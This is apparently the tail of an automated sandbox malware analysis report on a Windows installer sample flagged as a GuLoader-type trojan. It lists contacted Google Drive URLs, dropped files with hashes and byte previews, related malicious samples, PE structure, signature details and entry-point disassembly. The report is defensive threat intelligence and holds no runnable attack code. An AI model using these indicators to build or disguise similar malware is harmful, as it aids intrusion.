https://translate.google.com/translate_a/element.js	QNuQ5e175D.exe, 00000003.00000003.2434684472.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780080786.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803358057.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757374960.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562113835.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1779990575.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2027261178.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1592877929.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1970929884.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1960034459.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2445603809.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948458745.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1604917776.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757332882.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1825678658.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617206388.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1642477593.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2468233736.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/ube.	QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1712715094.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1723334448.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/ertificates	QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/Nr	QNuQ5e175D.exe, 00000003.00000003.2457226025.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/r	QNuQ5e175D.exe, 00000003.00000003.2127459901.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881033712.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925981246.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937805348.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948379458.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1903523473.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2138998807.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892606488.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2093555969.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870054618.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892558538.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1915071176.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1925952115.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1870002480.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.184.225	drive.usercontent.google.com	United States		15169	GOOGLEUS	false
172.217.16.142	drive.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588755
Start date and time:	2025-01-11 05:04:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QNuQ5e175D.exe renamed because original name is a hash value
Original Sample Name:	e5fd95536576d21b43b1552aed3040ea366375b5a952c333dd89f1ed251c12aa.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@3/5@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 84% Number of executed functions: 52 Number of non-executed functions: 64
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target QNuQ5e175D.exe, PID 7988 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:06:01	API Interceptor	43x Sleep call for process: QNuQ5e175D.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	iwEnYIOol8.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.225 172.217.16.142
	Ntwph4urc1.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.225 172.217.16.142
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse	142.250.184.225 172.217.16.142
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	142.250.184.225 172.217.16.142
	Ntwph4urc1.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.225 172.217.16.142
	2976587-987347589.08.exe	Get hash	malicious	Unknown	Browse	142.250.184.225 172.217.16.142
	yMXFgPOdf2.exe	Get hash	malicious	GuLoader	Browse	142.250.184.225 172.217.16.142
	2976587-987347589.07.exe	Get hash	malicious	Unknown	Browse	142.250.184.225 172.217.16.142
	yMXFgPOdf2.exe	Get hash	malicious	GuLoader	Browse	142.250.184.225 172.217.16.142
	02Eh1ah35H.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.184.225 172.217.16.142

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	letsVPN.exe	Get hash	malicious	Unknown	Browse
	letsVPN.exe	Get hash	malicious	Unknown	Browse
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse
	Documenti di spedizione.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Order NO 000293988494948595850000595995000.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	FiddlerSetup.5.0.20245.10105-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	HHn9tNeZd8.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\QNuQ5e175D.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.804946284177748
Encrypted:	false
SSDEEP:	192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
MD5:	192639861E3DC2DC5C08BB8F8C7260D5
SHA1:	58D30E460609E22FA0098BC27D928B689EF9AF78
SHA-256:	23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
SHA-512:	6E573D8B2EF6ED719E271FD0B2FD9CD451F61FC9A9459330108D6D7A65A0F64016303318CAD787AA1D5334BA670D8F1C7C13074E1BE550B4A316963ECC465CDC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: ZoRLXzC5qF.exe, Detection: malicious, Browse Filename: letsVPN.exe, Detection: malicious, Browse Filename: letsVPN.exe, Detection: malicious, Browse Filename: Revo.Uninstaller.Pro.v5.3.4.exe, Detection: malicious, Browse Filename: Revo.Uninstaller.Pro.v5.3.4.exe, Detection: malicious, Browse Filename: Documenti di spedizione.bat.exe, Detection: malicious, Browse Filename: Order NO 000293988494948595850000595995000.exe, Detection: malicious, Browse Filename: kelscrit.exe, Detection: malicious, Browse Filename: FiddlerSetup.5.0.20245.10105-latest.exe, Detection: malicious, Browse Filename: HHn9tNeZd8.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....C.f...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

Download File

Process:	C:\Users\user\Desktop\QNuQ5e175D.exe
File Type:	Matlab v4 mat-file (little endian) X, numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	376884
Entropy (8bit):	1.2538694993882065
Encrypted:	false
SSDEEP:	1536:eTJcpruMcjYX8Jf2lBD7XWqllCEYyZB0mFS04:eJcpPIYX8JonFS3
MD5:	943DE1999A45C6772E1F2FB9E1803546
SHA1:	542FC5B588D85BB0E7FCEED47789836A9C428984
SHA-256:	1CCAB41F428AAB780F43CA2C25EB80A63755BD7977DFF975ED662FDB9672D515
SHA-512:	A6AC5B8C7A1DBC2F06888E0F9285A6E1BD39A6C35E021BB5E3DC179E1EA176BEDDC7AD8C49CAEDDD7E10E232F980C7186E05DB890E001BA481E24E9D7EE4C434
Malicious:	false
Reputation:	low
Preview:	..................0.X.........(.................;..........P...................S..........................................................................................m.......................................................................................................................n..........+.........v...................J...............'...........................................................i.......6........!.E................a...........................'....u....L......W...............................................................................................J................................................................~.................,..........................................n.................. .....................................................................................................................P......a.......T.......................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Nonpatentability.Cou

Download File

Process:	C:\Users\user\Desktop\QNuQ5e175D.exe
File Type:	data
Category:	dropped
Size (bytes):	222843
Entropy (8bit):	7.362565451544298
Encrypted:	false
SSDEEP:	6144:gZ4ZblE1Ev2ugYpg+POgIPWJHbZeowW7H42LK:gZ4ZMEviYpgEHJHbwtKH422
MD5:	20E1BC5AD88D5F2BE5A58EFC3EA1457B
SHA1:	1099DBD1065F6958A014552FD0DF5D26CFF1CFB7
SHA-256:	1FC0AA24E14AC6EA316ED1E1293D9F4B9B19047BCD5BAC97B35E2DB1AEDD7246
SHA-512:	F97570AFF8D400CB300E05A4C57A8EA3D016FA9DC2675CAF89BFAB8B6465A2A021AA201B9E2CBD0472136207B4F92E20775EAF81BB0C926549FE7DD452B260D7
Malicious:	false
Reputation:	low
Preview:	.............................................==..........G...0.I...............S.......MM.............ww...\..........x................7..>..................aa.\\...........%%%..^.....e.......VVVV...........................................MMM..PP.YY.{.z..x.....-...rr.....................................MMM.......VV...[.111.................................................+.........................%%........WW...eeee..................................................k........................................zz.{.........\.....[......::........jjj.........ZZZZZ..j.`...............D.....:..nnnn..........bb.q.................MM...........ee.\|.......T...{....;.........)............11.....$$$.......hhh.DD.....r.RRRR.""............... ....EEEE...pp......................................................--......................VV......_.................///...CCC.1.........8.;;;............................f...yy..... ...........q..............KK.....................i....y...00..@@.Z..o.........

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Sunbreak.Pat

Download File

Process:	C:\Users\user\Desktop\QNuQ5e175D.exe
File Type:	data
Category:	dropped
Size (bytes):	37114
Entropy (8bit):	4.648205422140126
Encrypted:	false
SSDEEP:	384:z0GZqpL6AJbzyEyPpyOFYqjG3YL3BM6doOGNblZ9bQZkCC90fFjrBv26dUayacAM:IGKzaZFYqC3500310fhdKtz
MD5:	A2C20BC4DA366C09E9FD86704A33CB0C
SHA1:	91A57F0DDBE7C4E7556BA38BB2CFC8C8C5B52CEC
SHA-256:	2BF4E12311D437A5B61F085C80ED3B3A8C29E77674DAC41F4829E4251C3878A1
SHA-512:	27ADF3C40D1B3583D4104DB2E5A221F0963A25DB7C593426556493EC536C24F2B7866A8B7DF69F8E4127DAE78510B4FC7CAF65660EE2F25EE791C3480E38532B
Malicious:	false
Reputation:	low
Preview:	..V...............Z....MM..........vv.::.....,.\|\|\|. ....................................F.....Kk.....c....-.............bb........F..............t....\|.. ............>....T............e...P..@@@.Y...f....oo.........``...................h.HH....%%.........V.........Q...TTT..r............PP..........OO.:....vvvvvvvvvv.:........MM....mm.....QQQQQ...................n.....EE....C.....h...............\|...........r..#...xx.ttt............p...U.......o....0.e.........rrr.......m...........`.]]]..................KK.....E...................`.......l........... .......f...dd..... ....O..KK......[[[.666666..=. .......n..'.AAAAA........3............4444....DD...o........AA.....}}}}...TTT...........yy.z...~.11................2....Q..nnnnnnn.......~....................L.."..............JJ.G.......//.9..............:................................... ......hhhh............................ww............:.....WW..(......................::.c....3...q..............i...............O.............C..66

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Download File

Process:	C:\Users\user\Desktop\QNuQ5e175D.exe
File Type:	data
Category:	dropped
Size (bytes):	437967
Entropy (8bit):	1.2496824675371185
Encrypted:	false
SSDEEP:	768:YszAIbEHsrUdiWwGdV5C+P4/1F93McF1TWcY7hYu4nR/CFxofOrNYSOq5HGieGwO:YJkFhJAhX55ckvF4ULrV2Ehr3gra5
MD5:	0695A340DE7C3F5F45036C9C9EAFDBD2
SHA1:	D741BBBBFAD62B1D85E87CEDD3F344F4062C33D6
SHA-256:	0020F3470C29CAC49F8521309D6DA437EC6F71B2F5BD41A7B5DD88788B5AC25F
SHA-512:	D2668C1016BBE3DF9CE638D834AA13CC1100D4B85FCB4AC7396DA8166B50F0B2AF0A9025BA35D54A865EC87F356EEEB7A577B000B9B50F8ECC996B3E798CF145
Malicious:	false
Reputation:	low
Preview:	....Z...................................,.............O............2............................N...........J................................................................M..v..H...........................E.......K............................S..........T.......=............#.............................-...............................8.................................'......................0.................................t....................................0....................6..................\|.......................................................;...............=................................K..............................................................................W..........{....................`............................................................................\|...................................................................w....T................S............................y...........x......................J.......................................1......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.407220190167989
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QNuQ5e175D.exe
File size:	585'064 bytes
MD5:	9bb2cdb8508ee2255a35ecec43462a48
SHA1:	c7465e8b0a3ae61b23520752afbb8bf89a3cecdd
SHA256:	e5fd95536576d21b43b1552aed3040ea366375b5a952c333dd89f1ed251c12aa
SHA512:	0b8e8399eb04372c1cb70467dca25078ab255d01c448fa7ccabd620d9066306a1127c4e5caa4af66226662bb3b2d143045b9212332e7408c7b97ea40672a0ac1
SSDEEP:	12288:ifYfUlNHYh6EEfqUhn5i5mfQAsS+6ePZxIgLF7eEbH+aj:ifYMPYcqUhY5mp9+6ehxIg5H9j
TLSH:	E0C4F0257614AC5AC4EC10358BDDDE7B07630F6A7B6C521F73C4BE4C7AB9A816922323
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j.........

File Icon


Icon Hash:	016c4c4ebe99dd65

Static PE Info

General

Entrypoint:	0x403552
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843FB [Sat Mar 30 16:55:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=nonconverging, O=nonconverging, L=Cliff, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	18/03/2024 08:00:38 18/03/2027 08:00:38
Subject Chain	CN=nonconverging, O=nonconverging, L=Cliff, C=US
Version:	3
Thumbprint MD5:	B0E922076FFE2DF5FE70C6AC8CD556A2
Thumbprint SHA-1:	CE784EA178F07EE5869E76F3117DD8B531152C79
Thumbprint SHA-256:	B8488CDBED36172DB2D61C9AB8ED59564E9285624F8AE446AA90892EF78FB1EC
Serial:	5A5D66BB316E150417CDF6D37A5D77AE424A4754

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007F74F0BCEC4Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007F74F0BCEC18h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x68000	0x2ac78	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8e460	0x908	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68f8	0x6a00	595406ea4e71ef6f8675a1bd30bcc8f9	False	0.6703272405660378	data	6.482222402519068	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	7a91ec9f1c18e608c3f3f503ba4191c1	False	0.5221354166666666	data	4.165541189894117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x33000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x68000	0x2ac78	0x2ae00	07533466c1ba02253abde419e160f487	False	0.43160076530612246	data	5.193823090904089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x68448	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.3483526558618242
RT_ICON	0x78c70	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.44647361782636114
RT_ICON	0x82118	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4737060998151571
RT_ICON	0x875a0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.44355219650448746
RT_ICON	0x8b7c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5286307053941909
RT_ICON	0x8dd70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5811444652908068
RT_ICON	0x8ee18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5748933901918977
RT_ICON	0x8fcc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6860655737704918
RT_ICON	0x90648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7224729241877257
RT_ICON	0x90ef0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.49146341463414633
RT_ICON	0x91558	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5440751445086706
RT_ICON	0x91ac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7668439716312057
RT_ICON	0x91f28	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6263440860215054
RT_ICON	0x92210	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.7128378378378378
RT_DIALOG	0x92338	0x100	data	English	United States	0.5234375
RT_DIALOG	0x92438	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x92558	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x925b8	0xca	data	English	United States	0.6237623762376238
RT_VERSION	0x92688	0x2b0	data	English	United States	0.5232558139534884
RT_MANIFEST	0x92938	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
